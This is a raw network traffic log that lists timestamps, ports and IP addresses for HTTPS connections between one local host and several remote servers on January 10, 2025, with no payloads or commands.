Jan 10, 2025 19:04:51.960830927 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.961047888 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.961096048 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.961102009 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.961282969 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.961368084 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.961474895 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.961519003 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.961543083 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.961548090 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.961559057 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.961582899 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.962337971 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.962363005 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.962429047 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.962441921 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.962481022 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.962883949 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.962927103 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.962965965 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.962974072 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.963206053 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.963253975 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.963260889 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.963341951 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.963368893 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.963407993 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:51.963416100 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:51.963455915 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.047492027 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.047545910 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.047588110 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.047606945 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.047619104 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.047630072 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.047676086 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.047733068 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.047796965 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.048156023 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.048218966 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.048229933 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.048284054 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.048664093 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.048697948 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.048734903 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.048742056 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.048770905 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.049144983 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.049243927 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.049304008 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.049587011 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.049638987 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.049702883 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.049731970 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.049753904 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.049760103 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.049776077 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.049803972 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.050616026 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.050663948 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.050682068 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.050688982 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.050699949 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.050724030 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.050771952 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.050776005 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.051443100 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.051546097 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.051553011 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.051613092 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.051654100 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.051707029 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.066457987 CET	49680	80	192.168.2.16	192.229.211.108
Jan 10, 2025 19:04:52.093070984 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.093221903 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.093251944 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.093287945 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.093307018 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.093317986 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.093343019 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.093386889 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.093405962 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.093411922 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.093516111 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.093565941 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.093570948 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.094398022 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.094449043 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.094464064 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.098047972 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.098172903 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.098202944 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.134685993 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.134738922 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.134803057 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.134803057 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.134833097 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.134876013 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.135062933 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.135104895 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.135129929 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.135137081 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.135162115 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.135195017 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.135266066 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.135277033 CET	443	49730	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.135305882 CET	49730	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.146455050 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.181500912 CET	443	49733	142.250.186.68	192.168.2.16
Jan 10, 2025 19:04:52.181850910 CET	49733	443	192.168.2.16	142.250.186.68
Jan 10, 2025 19:04:52.181879997 CET	443	49733	142.250.186.68	192.168.2.16
Jan 10, 2025 19:04:52.183608055 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.183809996 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.183898926 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.183964968 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.183970928 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.184003115 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.184056997 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.184166908 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.184278965 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.184288979 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.184389114 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.184447050 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.184453964 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.184540033 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.184597969 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.184604883 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.184701920 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.184765100 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.184772015 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.185138941 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.185240984 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.185298920 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.185307026 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.185348988 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.185354948 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.185453892 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.185530901 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.185565948 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.185575008 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.185615063 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.185632944 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.186618090 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.186678886 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.186686993 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.189533949 CET	443	49733	142.250.186.68	192.168.2.16
Jan 10, 2025 19:04:52.189620018 CET	49733	443	192.168.2.16	142.250.186.68
Jan 10, 2025 19:04:52.191040993 CET	49733	443	192.168.2.16	142.250.186.68
Jan 10, 2025 19:04:52.191128016 CET	443	49733	142.250.186.68	192.168.2.16
Jan 10, 2025 19:04:52.219911098 CET	443	49735	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:52.221884012 CET	49735	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:52.221904039 CET	443	49735	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:52.222234011 CET	443	49735	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:52.222645044 CET	49735	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:52.222693920 CET	443	49735	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:52.222831011 CET	49735	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:52.230293989 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.230398893 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.230420113 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.242491007 CET	49733	443	192.168.2.16	142.250.186.68
Jan 10, 2025 19:04:52.242510080 CET	443	49733	142.250.186.68	192.168.2.16
Jan 10, 2025 19:04:52.267333984 CET	443	49735	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:52.274425030 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.274698019 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.274908066 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.274954081 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.274974108 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.275186062 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.275196075 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.275243044 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.275252104 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.275544882 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.275577068 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.275593042 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.275600910 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.275634050 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.275746107 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.275820971 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.275827885 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.275871038 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.276300907 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.276365995 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.276464939 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.276511908 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.276603937 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.276647091 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.277501106 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.277565002 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.277605057 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.277661085 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.277672052 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.277728081 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.278500080 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.278582096 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.278621912 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.278673887 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.278683901 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.278731108 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.279496908 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.279551029 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.290467024 CET	49733	443	192.168.2.16	142.250.186.68
Jan 10, 2025 19:04:52.360297918 CET	443	49735	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:52.360408068 CET	443	49735	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:52.361172915 CET	49735	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:52.361445904 CET	49735	443	192.168.2.16	188.114.96.3
Jan 10, 2025 19:04:52.361468077 CET	443	49735	188.114.96.3	192.168.2.16
Jan 10, 2025 19:04:52.364340067 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.364377975 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.364449978 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.364480019 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.364834070 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.364873886 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.364873886 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.364892960 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.364905119 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.364906073 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.364950895 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.364958048 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.364970922 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.364995956 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.365001917 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.365026951 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.365293026 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.365355968 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.365364075 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.365407944 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.365516901 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.365575075 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.365580082 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.365629911 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.366007090 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.366072893 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.366189957 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.366236925 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.366238117 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.366255999 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.366277933 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.366296053 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.366328955 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.366359949 CET	49732	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.366373062 CET	443	49732	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.370353937 CET	49736	443	192.168.2.16	35.190.80.1
Jan 10, 2025 19:04:52.370398045 CET	443	49736	35.190.80.1	192.168.2.16
Jan 10, 2025 19:04:52.370531082 CET	49736	443	192.168.2.16	35.190.80.1
Jan 10, 2025 19:04:52.370912075 CET	49736	443	192.168.2.16	35.190.80.1
Jan 10, 2025 19:04:52.370924950 CET	443	49736	35.190.80.1	192.168.2.16
Jan 10, 2025 19:04:52.375638008 CET	49737	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.375677109 CET	443	49737	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.375982046 CET	49737	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.376297951 CET	49737	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.376311064 CET	443	49737	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.830051899 CET	443	49736	35.190.80.1	192.168.2.16
Jan 10, 2025 19:04:52.831103086 CET	49736	443	192.168.2.16	35.190.80.1
Jan 10, 2025 19:04:52.831134081 CET	443	49736	35.190.80.1	192.168.2.16
Jan 10, 2025 19:04:52.832324028 CET	443	49736	35.190.80.1	192.168.2.16
Jan 10, 2025 19:04:52.832387924 CET	443	49737	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.832416058 CET	49736	443	192.168.2.16	35.190.80.1
Jan 10, 2025 19:04:52.833339930 CET	49737	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.833359957 CET	443	49737	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.833765030 CET	443	49737	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.833858967 CET	49736	443	192.168.2.16	35.190.80.1
Jan 10, 2025 19:04:52.833964109 CET	443	49736	35.190.80.1	192.168.2.16
Jan 10, 2025 19:04:52.834253073 CET	49737	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.834325075 CET	443	49737	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.834661961 CET	49736	443	192.168.2.16	35.190.80.1
Jan 10, 2025 19:04:52.834680080 CET	443	49736	35.190.80.1	192.168.2.16
Jan 10, 2025 19:04:52.834743977 CET	49737	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.875334978 CET	443	49737	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.882421970 CET	49736	443	192.168.2.16	35.190.80.1
Jan 10, 2025 19:04:52.992067099 CET	443	49737	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.992149115 CET	443	49737	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.992218018 CET	49737	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.992889881 CET	443	49736	35.190.80.1	192.168.2.16
Jan 10, 2025 19:04:52.992964983 CET	443	49736	35.190.80.1	192.168.2.16
Jan 10, 2025 19:04:52.993052959 CET	49736	443	192.168.2.16	35.190.80.1
Jan 10, 2025 19:04:52.994956970 CET	49736	443	192.168.2.16	35.190.80.1
Jan 10, 2025 19:04:52.994987011 CET	443	49736	35.190.80.1	192.168.2.16
Jan 10, 2025 19:04:52.995945930 CET	49738	443	192.168.2.16	35.190.80.1
Jan 10, 2025 19:04:52.995982885 CET	443	49738	35.190.80.1	192.168.2.16
Jan 10, 2025 19:04:52.996057034 CET	49738	443	192.168.2.16	35.190.80.1
Jan 10, 2025 19:04:52.996391058 CET	49737	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:52.996408939 CET	443	49737	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:52.997309923 CET	49738	443	192.168.2.16	35.190.80.1
Jan 10, 2025 19:04:52.997335911 CET	443	49738	35.190.80.1	192.168.2.16
Jan 10, 2025 19:04:53.279484987 CET	49680	80	192.168.2.16	192.229.211.108
Jan 10, 2025 19:04:53.419372082 CET	49739	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:53.419420004 CET	443	49739	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:53.419504881 CET	49739	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:53.421303034 CET	49739	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:53.421323061 CET	443	49739	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:53.475959063 CET	443	49738	35.190.80.1	192.168.2.16
Jan 10, 2025 19:04:53.476289034 CET	49738	443	192.168.2.16	35.190.80.1
Jan 10, 2025 19:04:53.476317883 CET	443	49738	35.190.80.1	192.168.2.16
Jan 10, 2025 19:04:53.476726055 CET	443	49738	35.190.80.1	192.168.2.16
Jan 10, 2025 19:04:53.477091074 CET	49738	443	192.168.2.16	35.190.80.1
Jan 10, 2025 19:04:53.477161884 CET	443	49738	35.190.80.1	192.168.2.16
Jan 10, 2025 19:04:53.477288008 CET	49738	443	192.168.2.16	35.190.80.1
Jan 10, 2025 19:04:53.523333073 CET	443	49738	35.190.80.1	192.168.2.16
Jan 10, 2025 19:04:53.609153986 CET	443	49738	35.190.80.1	192.168.2.16
Jan 10, 2025 19:04:53.609237909 CET	443	49738	35.190.80.1	192.168.2.16
Jan 10, 2025 19:04:53.609302998 CET	49738	443	192.168.2.16	35.190.80.1
Jan 10, 2025 19:04:53.609595060 CET	49738	443	192.168.2.16	35.190.80.1
Jan 10, 2025 19:04:53.609606981 CET	443	49738	35.190.80.1	192.168.2.16
Jan 10, 2025 19:04:53.900635004 CET	443	49739	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:53.901001930 CET	49739	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:53.901025057 CET	443	49739	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:53.901354074 CET	443	49739	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:53.902673960 CET	49739	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:53.902745962 CET	443	49739	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:53.902859926 CET	49739	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:53.943331003 CET	443	49739	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:54.057324886 CET	443	49739	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:54.057394028 CET	443	49739	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:54.057475090 CET	49739	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:54.058454990 CET	49739	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:54.058478117 CET	443	49739	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:54.065129042 CET	49740	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:54.065180063 CET	443	49740	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:54.066025972 CET	49740	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:54.066025972 CET	49740	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:54.066057920 CET	443	49740	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:54.100341082 CET	49741	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:54.100388050 CET	443	49741	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:54.100512981 CET	49741	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:54.100770950 CET	49741	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:54.100785017 CET	443	49741	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:54.524173021 CET	443	49740	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:54.525130987 CET	49740	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:54.525145054 CET	443	49740	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:54.525532961 CET	443	49740	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:54.526694059 CET	49740	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:54.526694059 CET	49740	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:54.526763916 CET	443	49740	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:54.570163012 CET	443	49741	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:54.570488930 CET	49741	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:54.570499897 CET	443	49741	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:54.570858955 CET	443	49741	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:54.571455002 CET	49741	443	192.168.2.16	104.18.94.41
Jan 10, 2025 19:04:54.571537018 CET	443	49741	104.18.94.41	192.168.2.16
Jan 10, 2025 19:04:54.571558952 CET	49741	443	192.168.2.16	104.18.94.41
